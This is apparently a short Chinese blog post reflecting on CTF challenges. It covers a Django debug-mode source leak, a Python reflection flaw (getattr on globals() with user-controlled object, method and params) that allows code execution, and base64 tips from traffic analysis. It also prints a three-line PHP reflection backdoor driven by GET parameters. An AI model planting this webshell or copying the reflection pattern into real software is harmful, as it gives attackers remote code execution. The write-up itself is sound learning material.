Contents

花时间做了几道题,感觉还是有收获的。虽然死亡之ping这些知识点不熟悉,web的python题还是学到了不少知识。

登录的时候会随机报错。查看返回django的调试模式泄露源码。

通过改变参数多次尝试报错,可以或得部分代码:

c = json.loads(request.body)
method = getattr(globals()[c['obj']],c['method'])
ret = method(c['params'])
retdata['result'],retdata['error'] = ret

通过反射的方式来执行对象的函数,而ojb,method和params三个参数都是可控的,这样就可以导致代码执行。具体可以参考writeup

python globals()返回一个map,这个map的key是全局范围内对象的名字,value是该对象的实例。

利用php的反射写的后门如下:

<?php
    $func = new ReflectionFunction($_GET[m]);
    echo $func->invokeArgs(array($_GET[c]));
?>

可以参考php反射后门

还有做的两个题就是分析流量。感觉还是比较有意思,在网络包种寻找信息,有点侦探的感觉。一个tips就是发现base64编码的密码,使用burpsuite的decode解码base64是乱码,以为不是base64,卡半天想不出来。其实是因为是中文做的base64编码,使用在线的base64解码工具可以直接解出中文。看来以前很多看起来像base64,但是decode是乱码,很可能是因为编码不对啊。writeup

Contents